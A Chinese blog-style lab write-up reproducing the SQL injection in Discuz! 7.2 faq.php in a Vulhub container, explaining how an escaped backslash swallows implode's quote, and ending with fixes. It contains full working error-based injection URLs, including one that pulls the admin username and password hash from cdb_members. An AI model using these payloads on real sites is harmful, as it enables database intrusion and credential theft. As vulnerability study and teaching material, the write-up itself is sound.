【Vulhub】Discuz! 7.2 faq.php SQL 注入深度复现手册 (转义逃逸篇)

Discuz! 7.2 faq.php SQL 注入深度复现手册 (转义逃逸篇)

本实验基于 Vulhub 的 Discuz! 7.2 环境。该漏洞展示了如何通过 PHP 数组特性绕过全局变量转义(addslashes)的高级技巧。

1. 漏洞环境搭建

根据你的本地目录结构,请执行以下命令来启动实验环境:

  1. 进入正确目录

    复制代码
    cd ~/Desktop/vulhub/discuz/wooyun-2010-080723
  2. 启动容器

    复制代码
    sudo docker-compose up -d
  3. 初始化安装

    • 访问 http://your-ip:8080/install
    • 按照提示完成 Discuz! 7.2 的安装。
    • 在 Vulhub 的这个实验环境下,默认的配置如下:
      • 数据库服务器 (Database Host) :填 db (不要填 localhost 或 127.0.0.1)
      • 数据库名 (Database Name) :填 discuz (或者你喜欢的名字,安装程序会自动创建)
      • 数据库用户名 (Database Username) :填 root
      • 数据库密码 (Database Password) :填 root

    第一步:定位漏洞接口

    访问 Discuz! 的帮助中心页面,目标参数为 action=grouppermission

    • 测试地址http://<your-ip>:8080/faq.php?action=grouppermission&gids[99]=%27
    • 预期现象 :页面出现数据库报错信息,说明单引号已成功带入 SQL 语句。

    逃逸组件:gids[99]=%27

    • %27 :单引号 ' 的 URL 编码。经过 Discuz 转义后变成 \'
    • 作用 :作为"引信"。利用反斜杠吞噬掉 implode 自动生成的中间单引号,为后续 Payload 逃逸打开大门。

    第二步:构造报错注入 Payload (验证漏洞)

    利用 gids 数组的两个元素进行拼接,触发单引号逃逸。我们使用报错注入来获取数据库名。

    • Payload

      复制代码
      /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
    • 验证点 :观察报错信息中是否包含了数据库名称(如 discuz1

    第三步:提取管理员凭据 (获取数据)

    通过修改 concat() 内部的子查询,提取管理员表 cdb_members 中的用户名和密码。

    • Payload

      复制代码
      /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x3a,password)%20from%20cdb_members%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
    • 结果 :页面将抛出错误,形如 Duplicate entry 'admin:4f0...1',其中冒号后即为加密后的 MD5 Hash。

    攻击组件:gids[100][0]=) and (select ... )#

    该部分是真正的攻击逻辑,利用了 MySQL 报错注入 (Error-based SQLi)

    组成部分 详细说明
    ) 关键闭合。闭合原 SQL 语句中 IN ( 的左括号。
    and 逻辑连接词。将原查询与我们的恶意子查询连接。
    select 1 from (...)a 报错注入的固定外壳。外层的 select 配合内部的 group by 触发错误。
    count(*) 聚合函数。在 group by 报错注入中是必须的。
    concat(..., floor(rand(0)*2))x 核心逻辑concat 将我们要提取的数据与一个随机序列(0 或 1)连接。x 是该字段的别名。
    floor(rand(0)*2) 关键报错点 。产生一个确定的 0/1 序列。由于 rand(0) 的随机性是可预测的,在 MySQL 建立临时表进行 group by 时,会因为主键计算重复而抛出 Duplicate entry 错误。
    (select concat(username, 0x3a, password) ...) 目标子查询 。这是我们要偷取的数据。0x3a 是冒号 : 的十六进制。
    group by x 触发报错的开关。没有 group by 就不会产生主键冲突。
    # (%23) 注释掉原 SQL 语句中剩余的所有部分(尤其是最后那个多余的单引号和括号)。

    实验结束后,为了节省系统资源,建议及时销毁容器。

    停止并移除容器/网络(推荐):

    复制代码
    sudo docker-compose down

    2. 核心原理:转义字符的"吞噬"

    这个漏洞的精妙之处在于利用"转义的反斜杠"去注销掉"程序自动生成的单引号"

    逻辑分析

    Discuz! 的 faq.php 有如下代码:

    复制代码
    $gids = implode("','", $gids); // 将数组元素用 ',' 连接
    $query = $db->query("SELECT ... WHERE groupid IN ('$gids')");

    逃逸过程:

    1. 输入 :我们传入 gids[99]='
    2. 全局转义 :Discuz! 的全局防御会将 ' 转义为 \'
    3. 数组拼接implode 函数在两个数组元素之间插入 ','
    4. 最终 SQL 结构WHERE groupid IN ('\'',' ,(Payload))#')
      • 关键点 :注意 \' 后面的那个单引号。原本这个单引号是 implode 生成用来闭合第一个元素的,但现在它前面紧跟着一个被转义出来的反斜杠 \
      • 结果 :在 SQL 解析时,\' 被当成了一个普通字符(单引号),而失去了闭合字符串的功能。
      • 连锁反应 :导致 SQL 引擎认为第一个单引号(groupid IN ( 后面那个)和第二个单引号(implode 后面那个)才是一对。
      • Payload 逃逸 :原本属于第二个元素的 Payload 成功脱离了单引号的束缚,成为了 SQL 语句的一部分。

    3.建议使用 Burp Suite

    在复现该漏洞时,浏览器往往是最大的"干扰项":

    1. URL 自动转义 :部分浏览器会自动处理 %27 或反斜杠,导致发送到服务器的字符与预期不符,使"单引号逃逸"失败。
    2. 二进制安全 :Burp Suite 的 Repeater 模块可以确保原始字符(Raw Data)被原样发送。
    3. 编码控制
      • 在 Burp 中选中 Payload 部分,按 Ctrl+U 进行 URL 编码。
      • 确保数组下标(如 gids[100][0])中的方括号不需要被二次转义。

    4. 总结与修复方案

    漏洞本质

    这是一个典型的由于不安全的字符串拼接全局转义逻辑冲突 导致的漏洞。开发者认为 implode 产生的结构是天然闭合的,却没意识到转义后的反斜杠具有"向前吞噬"单引号的能力

    防御方案

    1. 强制类型转换 (最简单有效): 对所有数组输入进行整数化处理:

      复制代码
      $gids = array_map('intval', $_GET['gids']);
    2. 弃用拼接,使用预编译 : 在现代 PHP 开发中,应始终使用 PDOmysqli 的预编译语句(Prepared Statements),将数据与指令彻底分离。

    3. 关闭报错回显 : 在 php.ini 中设置 display_errors = Off。虽然不能防止注入,但可以增加攻击者获取数据的难度(强制其使用盲注)。

相关推荐
超级种码2 小时前
Redis:Redis 常见问题及解决思路
数据库·redis·缓存
xcLeigh2 小时前
Oracle 迁移 KingbaseES 避坑指南:工具选型、参数配置与性能调优
数据库·oracle·工具·性能·金仓·kingbasees
JY.yuyu2 小时前
SQL Server数据库
数据库
June bug2 小时前
【配环境】安装配置Oracle JDK
java·数据库·oracle
独自破碎E2 小时前
如何在MySQL中监控和优化慢SQL?
数据库·sql·mysql
数据库生产实战2 小时前
基础知识 | Oracle Index Split(索引分裂:你的数据库越来越慢可能与此有关!建议排查!
数据库·oracle
知识分享小能手2 小时前
Oracle 19c入门学习教程,从入门到精通,Oracle 控制文件与日志文件管理详解(8)
数据库·学习·oracle
走遍西兰花.jpg2 小时前
gaussdb的基础命令
数据库·gaussdb
阿杰 AJie2 小时前
MyBatis-Plus 的内置方法
java·数据库·mybatis